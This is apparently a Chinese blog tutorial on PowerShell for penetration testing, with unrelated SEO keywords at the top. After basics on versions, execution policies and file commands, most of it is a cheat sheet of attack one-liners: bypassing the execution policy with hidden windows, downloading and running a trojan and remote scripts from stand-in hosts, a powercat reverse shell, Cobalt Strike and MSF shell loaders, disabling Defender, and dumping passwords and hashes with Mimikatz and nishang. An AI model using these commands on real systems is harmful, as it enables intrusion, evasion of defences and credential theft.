兰州网络推广的平台,百度seo如何优化关键词,兰州市做网站的公司,网站维保方法目录 Windows PowerShell
PowerShell的执行策略
绕过执行策略执行PowerShell脚本
PowerShell的常用文件类命令
PowerShell远程下载文件并执行
渗透测试常用的PowerShell命令
Powershell导入文件 Windows PowerShell
Windows PowerShell是一种命令行外壳程序和脚本环境它内置在Windows7及其以上的系统中使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中它可以直接在内存中运行。
各操作系统的PowerShell版本 操作系统PowerShell版本Windows7、Windows Server20082.0Windows8、Windows Server20123.0Windows8.1、Windows Server2012 R24.0Windows10、Windows Server20165.0 一个PowerShell脚本其实就是一个简单的文本文件这个文件包含了一系列的PowerShell命令每个命令显示为独立的一行PowerShell文件的后缀为.ps1。
在64位的Windows操作系统中存在两个版本的PowerShell一个是x64版本的一个是x86版本的。这两个版本的执行策略不会互相影响可以把它们看成是两个独立的程序。x64版本PowerShell的配置文件在 C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目录下。 PowerShell的优点
Windows7以上的操作系统默认安装PowerShell无须写到磁盘中它可以直接在内存中运行。可以从另外一个系统中下载PowerShell脚本并执行很多杀毒软件检测不到PowerShell的活动cmd通常会被杀毒软件阻止运行而PowerShell不会PowerShell可以用来管理活动目录
查看PowerShell版本
Get-Host 或者 $PSVersionTable.PSVERSION PowerShell的简单使用
可以执行 ctrlR 输入PowerShell 调出PowerShell也可以在cmd下输入powershell进入还可以在cmd下输入powershell命令但是在每条命令之前加上powershell help查看PowerShell的帮助。 PowerShell的执行策略
为防止恶意脚本的执行PowerShell有一个执行策略默认情况下这个执行策略被设置为受限。
我们可以使用Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。
Restricted脚本不能运行(默认设置)RemoteSigned本地创建的脚本可以运行但是从网上下载的脚本不能运行(拥有数字证书签名的除外)AllSigned仅当脚本由受信任的发布者签名时才能运行Unrestricted允许所有的脚本执行
可以看到我们PowerShell脚本当前的执行策略是 AllSigned。 修改PowerShell执行策略
Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行 绕过执行策略执行PowerShell脚本
在渗透测试时需要采用一些方法绕过策略来执行PowerShell脚本
下载远程PowerShell脚本绕过权限执行
经过测试在cmd窗口执行远程下载的powershell脚本不论当前策略都可以直接运行。而powershell窗口不行。
#cmd窗口执行以下命令powershell -c IEX (New-Object System.Net.Webclient).DownloadString(http://192.168.10.11/test.ps1)在powershell窗口执行IEX (New-Object System.Net.Webclient).DownloadString(http://192.168.10.11/test.ps1) 绕过本地权限执行
上传test.ps1到目标主机在cmd环境下在目标主机本地当前目录执行该脚本
powershell -exec bypass .\test.ps1 本地隐藏绕过权限执行脚本
powershell.exe -exec bypass -W hidden -nop test.ps1
ExecvtionPolicy Bypass-exec bypass绕过执行安全策略这个参数非常重要在默认情况下PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数可以绕过任意一个安全保护规则WindowStyle Hidden(-w hidden)隐藏窗口也就是执行完命令后窗口隐藏-command(-c)执行powershell脚本NoProfile(-nop)PowerShell控制台不加载当前用户的配置文件NoLogo启动不显示版权标志的PowerShellNonlnteractive(-noni)非交互模式Noexit执行后不退出shell这在使用键盘记录等脚本时非常重要 -enc base64 把ps脚本编码成base64来执行实战用的最多
PowerShell的常用文件类命令
在PowerShell下命令的命名规范很一致都采用了动词-名词的形式如Net-Item动词一般为Add、New、Get、Remove、Set等。PoerShell还兼容cmd和Linux命令如查看目录可以使用 dir 或者 ls 。
文件操作类的PowerShell命令
新建目录testNew-Item test -ItemType directory删除目录testRemove-Item test新建文件test.txtNew-Item test.txt -ItemType file新建文件test.txt内容为 helloNew-Item test.txt -ItemType file -value hello删除文件test.txtRemove-Item test.txt查看文件test.txt内容Get-Content test.txt设置文件test.txt内容tSet-Content test.txt -Value haha给文件test.txt追加内容Add-Content test.txt -Value ,word!清除文件test.txt内容Clear-Content test.txt PowerShell远程下载文件并执行
cmd窗口下载文件
管理员权限才可以下载到C盘目录下普通权限不能下在到C盘下。DownloadFile函数必须提供两个参数
#下载文件到指定目录powershell (new-object system.net.webclient).downloadfile(http://192.168.10.11/test.exe,d:/test.exe); #下载文件到当前目录powershell (new-object system.net.webclient).downloadfile(http://192.168.10.11/test.exe,test.exe); cmd窗口下载文件并执行(exe)
远程下载木马文件并执行
powershell (new-object system.net.webclient).downloadfile(http://192.168.10.11/test.exe,test.exe);start-process test.exe
cmd窗口下载文件并执行(powershell脚本)
远程下载 test.ps1 脚本直接执行该命令可以绕过powershell的执行策略。
powershell -c IEX (New-Object System.Net.Webclient).DownloadString(http://192.168.10.11/test.ps1) 远程下载 powercat.ps1 脚本并带参数运行该命令可以绕过powershell的执行策略
powershell IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c 192.168.10.11 -p 8888 -e cmd 渗透测试常用的PowerShell命令
关闭Windows自带的Defender防火墙(需要管理员权限)
powershell Set-MpPreference -disablerealtimeMonitoring $true
在cmd窗口下执行将远程主机上的test.exe 下载到本地的D盘下
powershell (new-object system.net.webclient).downloadfile(http://192.168.10.11/test.exe,d:/test.exe);
cmd窗口下利用Powershell反弹NC shell
在cmd窗口执行powershell IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c 192.168.10.11 -p 8888 -e cmd在powershell窗口执行IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c 192.168.10.11 -p 8888 -e cmd
cmd窗口下利用Powershell反弹CobaltStrike shell
在cmd窗口执行powershell.exe -c IEX ((new-object net.webclient).downloadstring(http://xx.xx.xx.xx/a)) 在powershell窗口执行IEX ((new-object net.webclient).downloadstring(http://xx.xx.xx.xx/a))
cmd窗口下利用Powershell反弹MSF shell
在cmd窗口执行powershell -c IEX (New-Object Net.WebClient).DownloadString(http://xx.xx.xx.xx/7788.ps1);xx.ps1在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString(http://xx.xx.xx.xx/7788.ps1);xx.ps1
远程加载PowerShell脚本读取明文密码
需要管理员权限
在cmd窗口执行powershell IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1); Invoke-Mimikatz –DumpCerts在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1); Invoke-Mimikatz –DumpCerts 远程加载PowerShell脚本读取密码hash值
需要管理员权限
在cmd窗口执行powershell IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1);Get-PassHashes在powershell窗口执行IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1);Get-PassHashes
Powershell导入文件
在大型的Powershell项目下通常会有 .ps1 、.psd1 和 .psm1 几种后缀的文件。如PowerSploit工具 下面说下这几种后缀文件的用法。
.ps1 文件就是PowerShell脚本文件该文件内容就是powershell语法.psd1 文件是这个模块的介绍.psm1 是模块文件
对于 .psm1 和 psd1 文件可以使用以下命令进行导入 Import-Module .\PowerSploit.psm1 Import-Module .\PowerSploit.psd1
然后输入命令Get-Command -Module PowerSploit 查看导入的模块都有哪些功能 对于.ps1文件既可以使用 Import-Module 也可以使用 . 进行导入
Import-Module .\Get-Information.ps1. .\Get-Information.ps1 注以上所有的命令都建议在cmd窗口执行
参考书籍《Web安全攻防-渗透测试实战指南》
相关文章PowerSploit收集域信息 一些值得收藏的PowerShell工具